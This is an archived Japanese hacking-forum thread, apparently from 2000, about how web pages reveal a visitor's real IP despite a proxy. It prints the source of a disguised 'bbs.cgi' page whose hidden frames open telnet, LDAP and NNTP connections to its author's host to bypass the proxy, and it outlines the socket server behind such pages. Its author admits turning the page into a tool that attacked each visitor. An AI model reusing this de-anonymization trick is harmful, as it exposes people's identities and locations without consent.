トップページ⇒hack
64コメント17KB

生IPってプロクシ通してても抜けちゃうんですね

■ このスレッドは過去ログ倉庫に格納されています
0001ふぅ〜NGNG
あるページへ逝ったら私の生IPが表示されるサイトがあってビックリしました。
っていうのもプロクシ通して見ていたにもかかわらずだったからです。

非常に気になってどうやるんだろうかといろいろあったってみたら
どうやらJAVA、Javascript、ActiveXがOnになってると危ないらしい
ことがわかりました。何やらJavaアプレットかActiveXで生IPが抜ける
らしいことがわかりました。

ところでActiveXがOnになってたら他にもいろいろ読めちゃうんでしょうか？
Web上で入力したパスワードとかが読まれてたらって考えるとぞっとします。
0014＞６ NGNG
FTP -> ブラウザでFTP串設定。
TELNET -> プロトコルのアプリ関連付け解除。

あと「おみとろん」使うとか。
0015>8 NGNG
>自分の空いてるマシンをプロクシにすれば何とかなるな

いいかんがえだね〜
その空いてるマシンのIPは誰の？
0016名無しくん NGNG
↑無知発見
0017アルス NGNG
↑ちいさなメダル発見
0018名無しさん＠１周年 NGNG
ＩＱ抜かれたら大変です。
0019名無しさん＠1周年 NGNG
＞１８
道理で俺は馬鹿なんだ・・・（哀
0020>7 NGNG
いろいろ使えるのは分かるけど、
TELNETとか起動時に勝手に通してくれなきゃ意味が無い。
0021名無しさん*腹へった、そうだ飯食い行こう NGNG
>１２
僕にはできない
0022はいほー NGNG
みんなめーるください
0023＞２２ NGNG
>>2
Mail出したらどーなるの？
0024名無しさん NGNG
>21　かんちがい、、ごめん
0025π NGNG
例えば　http://www.star-beach.com/i/　ここのiFriends!のように
Iモードからじゃないとメールアドレスが分からないようなとこありますけど、
こーゆーとこでメールアドレス見れるよーにする方法ないですか？

厨房考えでIモードの変数はく串があれば、と思うのですがどーですか？
0026ど〜ゆ〜こと？ NGNG
アクセスログに関する検索をしてたら

www.rental-web.com/~azuma/jvs/vchk.htm

こんなページを見つけました。はっきり逝って生ＩＰ抜かれました。
ＪａｖａやＣｏｏｋｉｅをＯＮにしておくとproxyを通してても
生ＩＰは抜かれるみたいです。

どうやらＪａｖａアプレットとＪａｖａＳｃｒｉｐｔとＣｏｏｋｉｅと
ＣＧＩが連携して実現してるようです。

pvc.classとget_env.classが肝みたい。

この原理が知りたい。
0027名無しさん＠１周年 NGNG
Java で別プロトコルにてサーバに接続させてIPとってるんだと思います。
0028名無しさん＠１周年 NGNG
ＪＡＶＡで表示させるだけなら、抜くとかいう以前の問題だろうけど。
0029名無しさん＠１周年 NGNG
↑氏ね

>26
東さんのアプレットは先駆的なのはCGIを使わなかったから。
CGI使えば初心者でも簡単にログを保存できる。
よって原理など気にする必要無し
0030>39 NGNG
はぁ？サーバの受け取りはCGI使ってんだろ？
行ってないから知らないが(ﾜﾗ
003130 NGNG
↑は>29な。
0032>30 NGNG
使ってるのもあるけど、メールで送信するヤツは使ってない
0033　 NGNG
サーバーはjavaで受け取って送信しているから、だったと思う。
この２年以上行ってないから知らない。
0034↑ NGNG
それも「ＣＧＩ」のうち
0035名無しさん NGNG
厨房なんですが・＞俺
接続ドメインの表示を
させない（変える）事は出来るのでしょうか？？
お願いします。多段串で入ると串は表示されなかった
のですが・・・・・。
www.rental-web.com/~azuma/jvs/vchk.htm
0036奈々 NGNG
最近IP抜きCGIよく見かけるね
某所でソース公開してるからかな。。
0037あっくん NGNG
ソースきぼーん
0038奈々 NGNG
ぉιぇτ君は逝っていいゎょ
0039ケチ NGNG
おしえてやれよ、けち臭いなァ。。大阪人か？（ﾜﾗ
0040ケチ NGNG
奈々は名古屋人でしょ？（莫
0041ヽ(´ー`)ノ NGNG
169.229.84.120:80
0042奈々 NGNG
ん。。。大阪でも名古屋でもないゎょ
つかねぇ、何の努力もしないで楽して手に入れようっていう態度が
気に食わないのょ　私だって自分で作ろうと努力したしさ

でもまぁ、ソースの構造くらいは教えてあげる　親切でしょ？

１．ソケットでIP取得用のダミーサーバを立て、接続を待つ
２．接続者のホストを抜き、ソケットを閉じてダミーサーバを切断する
３．抜いたホストを記録し、表示用のページでホストを表示させる

これだけ。簡単でしょ？あとは自分で作りましょうね　ぉιぇτ君たち♪
0043名無しさん NGNG
これはなんですか？
http://hzjysub.virtualave.net/bbs.cgi
0044奈々 with[risc01.ktu.edu.tr] NGNG
何やら色々立ち上がってるけどょく分かんないゎね(笑)
0045奈々 with [risc01.ktu.edu.tr] NGNG
でもここみたいに自分で作ってみるっていう気持ちが大事よね
応援したくなるゎ
0046奈々 with [risc01.ktu.edu.tr] NGNG
あたし自作のはコレね　超テキトーだけど(笑)
http://ninja3000.surecity.com/cgi-bin/frame.cgi
0047ああああ NGNG
うぜえ
0048それらを利用してｺﾝﾋﾟｭｰﾀｰ名って調べられます？ NGNG
串の向こうのｺﾝﾋﾟｭｰﾀｰ名が知りたい･･････
0049小学２年生女児 NGNG
こんぴゅーたーめいってなんですか？
0050小学２年生男児 NGNG
46ので抜かれる前に串がﾀｲﾑｱｳﾄ(ﾟДﾟ)y-~~って言ってくるんですけどどうすればいいですか？
0051nukeいやん@AT&T NGNG
>43 名前：名無しさん 投稿日：2000/09/14(木) 04:46
>これはなんですか？
>http://hzjysub.virtualave.net/bbs.cgi
ここか！
そんなことするとプロキシも通さない、Proxomitronも使わない
テルネットも知らない、ハックラ板はROMオンリーの真性馬鹿が来るだろうが！
まったくどーもいまだに流れていると思ったらやっぱここかい。(;´Д`)
来るんならUSER-Agentの変数変えてからこいや。（´Д`)y-~~~~~~~~~
0052名無しさん＠そうだ選挙にいこう NGNG
>>43

<html>
<frameset rows="0＠｀0＠｀0＠｀100%" frameborder="0" border="0" framespacing="0" width="0">
<frame src="telnet://hzjysub.virtualave.net:6903/">
<frame src="ldap://hzjysub.virtualave.net:16725/a/a">
<frame src="nntp://hzjysub.virtualave.net:12504/a/a">
<frame src="http://hzjysub.virtualave.net/bbs.cgi?6903-16725-12504";>
</frameset>
</html>
</noscript>
&lt;!-- --&gt;
</noscript>
<SCRIPT LANGUAGE="JavaScript">

&lt;!--
browser = (((navigator.appName == "Netscape") && (parseInt(navigator.appVersion) >= 2 )) || ((navigator.appName == "Microsoft Internet Explorer") && (parseInt(navigator.appVersion) >= 2 )));
browser4 = (((navigator.appName == "Netscape") && (parseInt(navigator.appVersion) >= 4 )) || ((navigator.appName == "Microsoft Internet Explorer") && (parseInt(navigator.appVersion) >= 4 )));
if (browser4) {
if (!self.url) {
self.url = '';
}
if (parent.name != 'test') {
test = window.open("http://click.go2net.com/adpopup?site=VA&shape=noshape&border=1&area=DIR.HEALTH&sizerepopup=1&hname=UNKNOWN";＠｀ "test"＠｀ "resizable=yes＠｀width=528＠｀height=200");
}
} else if (browser) {
if (!self.url) {
self.url = '';
}
if (parent.name != 'test') {
test = window.open("http://click.go2net.com/adpopup?site=VA&shape=banner&border=1&area=DIR.HEALTH&hname=UNKNOWN";＠｀ "test"＠｀ "resizable=yes＠｀width=528＠｀height=200");
}
}

//--&gt;

</SCRIPT>
0053名無しさん＠そうだ選挙にいこう NGNG
解説

怪しいのは
<frame src="telnet://hzjysub.virtualave.net:6903/">
<frame src="ldap://hzjysub.virtualave.net:16725/a/a">
<frame src="nntp://hzjysub.virtualave.net:12504/a/a">
ですね。なぜポートを指定しているのか？それは呼ばれたCGIが
このポートで待ち構えるプロセスを fork() するということ
でしょう。

あとは自分で考えてみな。
0054名無しさん＠そうだ選挙にいこう NGNG
正確に言うと開きポート3つ bind() してから fork() かな。
0055奈々 NGNG
プロセスをforkするってよく分からないゎ
プロセスを生成する　でいいんじゃない？
あたしのはforkしてないからゾンビが多くて多くて。。(謎)
0056名無しさん＠Floodはいやん NGNG
>http://hzjysub.virtualave.net/bbs.cgi
ここ行ったら、
[915625][bbs.cgi]process over limit for this account. please try again later.
こーなってた。
死んだのか？
0057名無しさん NGNG
よくわからん
http://hzjysub.virtualave.net/bbs.cgi
0058節穴君 NGNG
>>55
そうか。fork()でプロセスを作る、かな?作るっていうか
新しい方は中身がコピーだが。まあ良いや。
0059奈々 NGNG
そうね　一般的なCGIでもforkなんてあんまり使わないから
あたしもよく知らないんだけどね

上のbbs.cgiはアクセス過剰でプロセス処理が
追いつかないんじゃないかしら
Socketはサーバに負担かかるから長く置いとかない方がいいゎね
0060>59 NGNG
> 上のbbs.cgiはアクセス過剰でプロセス処理が
> 追いつかないんじゃないかしら
本気で言ってるのか？
知ったかUZEeeee!!1113575

処理が追いつかないってのはいくらなんでも考えにくい。
どうせ相手がフレーム解釈しないブラウザだった時の事とか
考えないでつくってるんだろ。
プロセス作るだけ作って終了できないダサいつくりだってのが
想像できるな（ﾜﾗ
0061奈々 NGNG
＞60

はぁ？？あんた何勘違いしてんの？プロセス処理云々って言ったのは
http://hzjysub.virtualave.net/bbs.cgiのエラーの原因について言ったんだけどね
あとコレあたしが作ったと勘違いしてない？あたしのはちゃんとプロセス生成の後始末
してます。勘違いしながら得意げに煽らないでね(ﾜﾗ
006260 NGNG
>61
>http://hzjysub.virtualave.net/bbs.cgiのエラーの原因について言ったんだけどね
わかってるって。
だからそれの原因が、
> 上のbbs.cgiはアクセス過剰でプロセス処理が
> 追いつかないんじゃないかしら
とか言ってるのが知ったかだって言ってるんだよ。
ニホンゴ解りますかぁ？（ｹﾞﾗ

あと、アンタが作ったんじゃないのも判ってるさ。
60の最後の２行はコレを作ったやつをバカにしてるんだよ。安心しな（ﾌﾟ
0063127.0.0.1 NGNG
test
0064作った人 NGNG
煽りは勘弁してーな。
IPアドレス抜きの時は当然プロセス制御はしてたが、
途中から、普通のPhaserにスリ変えておいた。

アクセスがあったらsleep(600)で１０発位撃ち込むようにしてたんだが、
やはりアクセスが多かったのか分からないが、
[915625][bbs.cgi]process over limit for this account. please try again later.
が出てしまったようだな。
とりあえず、bbs.cgは削除しておいた。
■ このスレッドは過去ログ倉庫に格納されています